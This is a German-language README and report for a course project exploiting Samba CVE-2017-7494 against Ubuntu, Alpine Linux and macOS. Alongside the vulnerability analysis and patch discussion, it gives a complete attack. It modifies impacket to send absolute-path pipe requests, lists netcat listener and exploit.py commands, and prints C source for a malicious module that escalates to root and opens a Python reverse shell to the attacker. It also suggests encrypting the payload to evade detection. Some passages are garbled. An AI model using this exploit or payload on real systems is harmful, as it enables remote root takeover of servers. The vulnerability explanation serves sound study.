Exploit CVE-2017-7494 für die Abschlussaufgabe des Netzwerksicherheitskurses. Dies würde die Schwachstelle von Diensten offenlegen, die mit administrativen Rechten unter Linux ausgeführt werden.
Exploit CVE-2017-7494 für die Abschlussaufgabe des Netzsicherheitskurses. Dies zeigt die Schwachstelle von Diensten, die mit Administratorrechten auf dem Betriebssystem ausgeführt werden.
Dieser Fehler ist sowohl auf macOS als auch auf Linux nutzbar.
Vor dem Exploit müssen Sie Abhängigkeiten herunterladen.
/bin/bash install_requirement.sh
Eine der wichtigsten Abhängigkeiten ist das impacket-Paket für Python. Es ermöglicht SMB-Verbindungen.
Allerdings müssen wir das ursprüngliche impacket modifizieren, um eine gültige Anfrage zu konstruieren, die den Samba-Server veranlasst, unser bösartiges Modul zu laden.
Die Installation install_requirement.sh installiert eine modifizierte Version (von mir modifiziert), damit Sie sich keine Sorgen machen müssen und keine manuelle Änderung vornehmen müssen.
Wenn Sie jedoch eine neuere Version oder eine andere Version von impacket verwenden möchten, müssen Sie dieses Paket selbst modifizieren.
Gehen Sie zu
impacket/impacket/smb3.pyund modifizieren Sie Zeile 11154, indem Sie die folgenden beiden Zeilen auskommentieren:
# fileName = fileName.replace('/', '\\') Sollte auskommentiert sein!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Sollte auskommentiert sein!
if fileName[0] == '\\':
fileName = fileName[1:]
Um das Ziel auszunutzen, benötigen Sie zwei Terminals. Eines verwendet netcat, um mit der Reverse Shell zu interagieren, das andere wird verwendet, um den Fehler auszunutzen.
Verwendung:
# Erstes Terminal: nc verwenden, um Reverse Shell zu erhalten
$ nc -p 23333 -l
# Zweites Terminal: Ziel ausnutzen
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
Wenn das Ziel macOS ist, sollten Sie das Modul nicht auf Linux kompilieren! Da gcc das MACH-O-Format nicht unterstützt. Wenn Sie ein Mac-Benutzer sind, funktioniert die Kompilierung des macOS-Payloads.
Eine vorkompilierte Version befindet sich im Verzeichnis: mac_payload.so.
Verwenden Sie das Flag -m, um exploit.py mitzuteilen, dass Sie ein benutzerdefiniertes Payload verwenden.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
Ein detaillierter Prozess wird auf Chinesisch als meine Abschlussaufgabe veröffentlicht. Wenn Sie Chinesisch verstehen, wird es für Sie in Ordnung sein. :)
—— CVE-2017-7494 Angriffsbericht
EternalBlue verursachte 2017 enorme Schäden, indem es die Windows-SMB-Mechanismen für Wurmangriffe ausnutzte. SMB ist ein Dienst, der unter Windows läuft und es verschiedenen Hosts ermöglicht, Dateien gemeinsam zu nutzen und Remote Procedure Calls (RPC) durchzuführen. Vielleicht ist es diese Art von Funktionalität, die es oft zum Ziel von Hackern macht.
Schwachstellen im Betriebssystemkernel selbst sollten relativ selten sein – selbst für Windows. Normalerweise sind es die verschiedenen Dienste, die auf dem Betriebssystem laufen, die Probleme verursachen. Sie haben nicht denselben strengen, gründlich getesteten Code wie das Betriebssystem, laufen aber mit hohen Privilegien, was viele Möglichkeiten zur böswilligen Ausnutzung schafft. Können wir also das gesamte Betriebssystem kompromittieren, indem wir hochprivilegierte Dienste auf dem Betriebssystem angreifen, anstatt die zugrunde liegenden Komponenten des Betriebssystems selbst? Ein Betriebssystem allein ist nur ein Kernel und kann nichts tun; es muss verschiedene Systemdienste ausführen, um uns vielfältige Funktionen zu bieten. Viele Betriebssystemdienste müssen mit Administratorrechten (als Daemon) ausgeführt werden. Wenn wir also einen solchen hochprivilegierten Dienst kompromittieren, erhalten wir automatisch Administratorrechte auf dem System und können das gesamte Betriebssystem übernehmen.
Schließlich habe ich in der Open-Source-Implementierung von SMB – Samba – eine ausnutzbare Schwachstelle gefunden: CVE-2017-7494. Ähnlich wie bei Windows können Hacker über Sambas RPC Administratorrechte auf dem Betriebssystem erlangen und so die Möglichkeit haben, Wurmviren im Netzwerk zu konstruieren.
Der Linux-Kernel ist bekannt für seine Sicherheit durch Open Source; macOS als Nischen-System vermittelt aufgrund der geringen Anzahl von Viren oft ein falsches Sicherheitsgefühl. Daher werden in diesem Experiment macOS und mehrere verschiedene Linux-Distributionen angegriffen, um die Verwundbarkeit von Betriebssystemen zu demonstrieren – egal wie "sicher" ein Betriebssystemdesign "aussieht", es kann in jeder Situation aufgrund einer Schwachstelle in einer kleinen Anwendung kompromittiert werden.
Da Samba ein Dienst ist, der SMB entspricht, wird er auch als "Linux-Version von EternalBlue" bezeichnet, obwohl ich denke, dass es aus technischer Sicht wesentliche Unterschiede gibt:
Diese Schwachstelle stammt hauptsächlich aus dem Aufruf von smb_probe_module() in der Funktion bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) in source3\rpc_server\srv_pipe.c:
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
// Hier liegt das Problem
status = smb_probe_module("rpc", pipename);
....
Die übergeordnete Funktion von is_known_pipename(), np_open(), ist ein Kontrollmodul. Nach der Überprüfung der RPC-Dienstanfrage wird is_known_pipename() aufgerufen. is_known_pipename() dient dem Namen nach dazu, zu prüfen, ob eine entfernte Pipe bereits registriert ist. Aber nach Samba 3.50 wurde eine neue Funktion eingeführt: das Laden dynamischer Module durch Aufruf von smb_probe_module(). Diese Schwachstelle nutzt genau diese Funktion zum Laden von Modulen aus, um den Aufruf eines selbst konstruierten bösartigen Moduls zu ermöglichen.
Das Laden des rpc pipe-Moduls hat folgende Aufrufkette:
is_known_pipename() -> smb_probe_module() -> do_smb_load_module() -> load_module()
In den Samba-Versionen 3.5.0 bis 4.6.3 wurde die Funktion do_smb_load_module() von smb_probe_module() (zum Laden von RPC-Modulen) und einem anderen smb_load_module() (zum Laden eigener Module) gemeinsam genutzt. smb_load_module() dient zum Laden bekannter Module, vermutlich für interne Aufrufe zur Erweiterung der Samba-Funktionalität, wie z.B. VFS-Module; smb_probe_module() sollte dagegen mögliche Module laden, die aus RPC-Anfragen stammen.
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
Damit diese beiden Funktionen mit unterschiedlichen Quellen gemeinsam genutzt werden können (obwohl sie meiner Meinung nach niemals dasselbe Modul gemeinsam nutzen sollten), implementiert do_smb_load_module() zwei Methoden: "Laden eines Moduls im SMB-Subsystem durch Parsen der Anfrage" und "Laden eines Moduls über einen absoluten Pfad".
static NTSTATUS do_smb_load_module(const char *subsystem,
const char *module_name, bool is_probe)
{
...
/* Prüfen auf absoluten Pfad */
// Kommentar zum Kommentar: Wenn der übergebene Pfad von smb_probe_module() stammt, das eigentlich keinen absoluten Pfad liefern sollte, aber dennoch einen absoluten Pfad liefert, wird diese Prüfung unwirksam. Das ist das Prinzip dieser Ausnutzung.
if (subsystem && module_name[0] != '/')
{
// Sollte in das Subsystem gehen, Umwandlung vom SMB-Subsystem in absoluten Pfad
full_path = talloc_asprintf(ctx,"%s/%s.%s", modules_path(ctx, subsystem),module_name,shlib_ext());
...
}
else
{
// Aber es lädt direkt unseren konstruierten absoluten Pfad, hier entlang
init = load_module(module_name, is_probe, &handle);
// Somit verwendet init ein Modul von einem absoluten Pfad für eine "nicht vorhandene Pipe"
}
// Hier erfolgt der direkte Aufruf des bösartigen Codes
status = init();
...
Da do_smb_load_module() nicht weiß, ob der von der übergeordneten Funktion übergebene Pfad von smb_load_module oder smb_probe_module stammt, ergibt sich die Möglichkeit, eine gefälschte Anfrage zu konstruieren: Das "Laden eines Moduls innerhalb des Subsystems" wird zum "Laden eines Moduls über einen absoluten Pfad". Und wenn dieses absolute Pfadmodul zufällig unser vordefiniertes bösartiges Modul ist, ist die Schwachstelle erfolgreich ausgenutzt.
Praktischerweise erlaubt Samba als Dateiübertragungsprotokoll das einfache Hochladen unseres bösartigen Moduls. Gleichzeitig unterstützt die DCE-Anfrage auch die Abfrage absoluter Pfade. Mit diesen beiden Faktoren können wir do_smb_load_module() leicht ausnutzen, um das bösartige Modul über den absoluten Pfad zu laden.
Das Prinzip der Ausnutzung ist im folgenden Diagramm dargestellt:

In späteren Versionen hat Samba diese Schwachstelle behoben, hauptsächlich durch verstärkte Prüfung des von RPC-Anfragen übergebenen Pipe-Namens.
Der erste Patch erfolgte in is_known_pipename(): Verwendung von strchr, um zu prüfen, ob der pipe-Name ein / enthält. Wenn ja, bedeutet dies das Laden eines Linux-Pfades, was verboten werden sollte.
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
NTSTATUS status;
// Diese Zeile wurde zur Prüfung hinzugefügt, um zu verhindern, dass ein absoluter Pfad angefordert wird
if (strchr(pipename, '/')) {
DEBUG(1, ("Refusing open on pipe %s\n", pipename));
return false;
}
...
Der zweite Patch erfolgte in smb_probe_module() (laut Git-Log in Version 4.70 hinzugefügt). Im Vergleich zum ursprünglichen einfachen Aufruf von do_smb_load_module() wurden detailliertere Regeln hinzugefügt:
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
...
// Zweite Prüfung auf absoluten Pfad
if (strchr(module, '/')) {
status = NT_STATUS_INVALID_PARAMETER;
goto done;
}
....
done:
TALLOC_FREE(tmp_ctx);
return status;
}
Eine weitere Verteidigungslinie wurde hinzugefügt. Außerdem wurden die Funktionen zum Laden von Modulen feiner unterteilt: Die ursprünglichen smb_probe_module() und smb_load_module() wurden in smb_probe_module(), smb_load_module() und smb_probe_module_absolute_path() aufgeteilt, um die Prüfung auf bösartige Modulpfade zu verstärken.
Die Linux-Zielmaschinen in diesem Experiment verwenden verschiedene Linux-Distributionen – Ubuntu und Alpine Linux. Docker wird verwendet, um Samba-Server mit Versionen zwischen 3.5.0 und 4.6.3 aufzusetzen. Samba läuft als Daemon smbd.
Alpine Linux ist ein kürzlich aufkommendes Linux, das für seine "Leichtigkeit" und "Sicherheit" bekannt ist. Im Gegensatz zu den gängigen Linux-Distributionen verwendet es nicht glibc, sondern musl libc als C-Laufzeitumgebung; außerdem verwendet es das spezielle busybox als Befehlszeilenwerkzeug. Im Allgemeinen können gängige Linux-Software ohne Neukompilierung oder Codeänderung nicht darauf ausgeführt werden. Dies führt leicht zu der Annahme, dass "Angriffe auf Linux, die GNU-Bibliotheken verwenden, gegen Alpine Linux nicht wirken".
Außerdem wurde in diesem Experiment auch ein Angriff auf macOS durchgeführt – ein weiteres System, das zu Fehlvorstellungen verleitet. macOS ist ein Betriebssystem ohne aktive Sicherheitsmaßnahmen, aber aufgrund der geringen Anzahl von Angriffen, die darauf abzielen, neigt die allgemeine Meinung dazu, zu glauben, dass "macOS keine Viren hat".
Durch diesen experimentellen Ansatz, verschiedene Systeme zu verwenden und eine Schwachstelle in der Programmlogik (kein Pufferüberlauf) auszunutzen, werden folgende Tatsachen aufgedeckt:
Samba unter Linux wird mit Docker für eine schnelle Bereitstellung verwendet. Ein ausreichend altes Image muss in dockerhub gefunden werden. Sambas Image für Ubuntu stammt von rootlogin/samba, für Alpine Linux von servercontainers/samba:4.6.3. Das freigegebene Verzeichnis des Containers muss eingerichtet werden.
Die verwendete macOS-Version ist 11.3 Big Sur.
Da macOS selten als Server verwendet wird, gibt es keine vorkompilierte alte Samba-Version zur Installation. Daher muss eine alte Samba-Version selbst kompiliert werden.
Verwendung:
git clone https://github.com/samba-team/samba.git
Nach dem Klonen von Samba mit git checkout auf Version 4.6.3 zurückgesetzt.
Gemäß den Aufzeichnungen in 11811 – compile error on Mac OS X 10.11 error: field has incomplete type 'struct timespec' LOADPARM_EXTRA_LOCALS (samba.org) und [11984 – failed to compile on Mac OS X. (samba.org)](https://bugzilla.samba.org/show_bug.cgi?id=11984#:~:text= It can be,param%2Floadparam.h) gibt es Kompilierungsprobleme mit der macOS-Version von Samba. Obwohl diese in späteren Versionen behoben wurden, müssen für die alte Version manuell Patches für die Kompilierung angewendet werden:
curl -fsSL https://willhaley.com/assets/compile-samba-macos/nss.diff | git apply -
Gleichzeitig muss in lib/param/loadparm.h #include <time.h> als Header-Datei hinzugefügt werden.
Nachdem die Abhängigkeiten für die Kompilierung gelöst sind, kann die macOS-Version von Samba kompiliert, installiert und ausgeführt werden.
In diesem Experiment wird python verwendet, um die Zielmaschine anzugreifen, und das impacket-Paket für SMB-Operationen.
Der allgemeine Ablauf des Angriffs ist wie folgt:
Die Funktionalität des bösartigen Payloads umfasst hauptsächlich:
Um die Kontrolle über den entfernten Server zu erlangen.
Der Code lautet:
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdbool.h>
#include "config.h"
#define COMMAND "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""IP"\","PORT"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
static void CreateReverseShell()
{
pid_t pid;
pid = fork(); // Unterprozess verwenden, um den Haupt-Samba-Prozess zu trennen
if (pid == 0)
{
umask(0);
chdir("/");
execl("/usr/bin/python", "python", "-c", (COMMAND), NULL); // Python verwenden, um TCP-Verbindung zu erstellen und Reverse Shell einzurichten
}
}
#ifdef __linux__
extern bool become_root(void);
#endif
// Wenn Samba Module lädt, wird diese Funktion automatisch als Einstiegspunkt aufgerufen
int samba_init_module(void)
{
// Zeichen: YOU ARE HACKED
printf("__ __ ___ __ __ __ __\n\\ \\/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /\n \\ / __ \\/ / / / / /| | / ___/ _ \\ / /_/ / __ `/ ___/ //_/ _ \\/ __ / \n / / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ / \n/_/\\____/\\__,_/ /_/ |_/_/ \\___/ /_/ /_/\\__,_/\\___/_/|_|\\___/\\__,_/ \n");
#ifdef __linux__
become_root();
#endif
CreateReverseShell();
return 0;
}
Dabei ist samba_init_module() der Einstiegspunkt, nachdem Samba die Modul-Ladefunktion aufgerufen hat, und kann als Einstiegspunkt für den bösartigen Code dienen.
Die lange Zeichenfolge, die von printf ausgegeben wird, ist YOU ARE HACKER:
__ __ ___ __ __ __ __
\ \/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /
\ / __ \/ / / / / /| | / ___/ _ \ / /_/ / __ `/ ___/ //_/ _ \/ __ /
/ / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ /
/_/\____/\__,_/ /_/ |_/_/ \___/ /_/ /_/\__,_/\___/_/|_|\___/\__,_/
Zu Unterhaltungszwecken.
Die Funktion become_root() stammt von Samba und wird mit extern deklariert, um sie einfach aufrufen zu können.
become_root zu verwenden, um als Root in die Reverse Shell zu gelangen. Außerdem funktioniert extern bei der Kompilierung unter Apple derzeit nicht und der Linker hat Probleme. Der Grund ist unbekannt, daher wird mit ifdef das Apple-System umgangen.Die Funktion CreateReverseShell() trennt den Reverse-Shell-Prozess vom Hauptprozess, um einen Hintertür-Effekt zu erzielen.
Das bösartige Payload für die Reverse Shell verwendet Python zur Erstellung, mit execl zur Ausführung des Python-Skripts, und nicht eine C-Version, aus folgenden Gründen:
execl-Aufrufe zu erkennen.eval()-Funktion. Wir können das Skript zum Öffnen der Reverse Shell verschlüsseln, es bei der Ausführung entschlüsseln und dann mit eval() das bösartige Payload ausführen, um der Erkennung durch Sicherheitssysteme aus Punkt 1 zu entgehen.
Das bösartige Payload für macOS muss mit dem macOS-clang kompiliert werden, da der Linux-gcc das MACH-O-Format nicht unterstützt. Außerdem muss beim Kompilieren nicht die .dylib-Endung für Mac angegeben werden; es kann direkt mit der Endung .so kompiliert werden.
Das Python-Angriffsskript verwendet Python 3.7 als Laufzeitumgebung und folgt hauptsächlich diesem Ablauf:
Der Einstiegspunkt verwendet Options zum Parsen. Wenn der Benutzer ein vorkompiliertes Modul bereitstellt, wird dieses verwendet, ohne neu zu kompilieren. Andernfalls werden die Parameter lhost und lport verwendet, um ein neues Modul zu kompilieren, damit die Reverse Shell eine Verbindung zum Angreifer herstellen kann.
Da wir einen bösartigen Pfad verwenden, müssen wir das ursprüngliche impacket-Paket geringfügig ändern, damit es die erforderliche Anfrage an den Samba-Server senden kann.
In impacket/impacket/smb3.py Zeile 11154 werden die beiden Anweisungen auskommentiert:
# fileName = fileName.replace('/', '\\') Sollte auskommentiert sein!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Sollte auskommentiert sein!
if fileName[0] == '\\':
fileName = fileName[1:]
Um das Laden des "bösartigen Moduls über den absoluten Pfad" zu ermöglichen.
Die übrigen Schritte – Anmelden, Hochladen der Datei, Laden des bösartigen Moduls – sind Funktionen, die vom impacket-Paket bereitgestellt werden, daher wird nicht näher darauf eingegangen.
Vor dem Angriff muss mit netcat ein Listener für die zurückkommende Reverse Shell eingerichtet werden:
nc -p 23333 -l
Anschließend mit:
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m payload.so
führt das obige Python-Skript automatisch aus, und im netcat-Fenster wird eine Reverse Shell mit Root-Rechten angezeigt, die die Kontrolle über den entfernten Server ermöglicht.
Angriff auf Ubuntu:

Angriff auf Alpine Linux:

Angriff auf macOS:

Von Windows in macOS eindringen und Skript ausführen:

scanf_s, strSafe und einigen "sicheren Sprachen, die schwer überlaufen" gelöst werden. Ausnutzbare Schwachstellen können überall und unerwartet auftreten.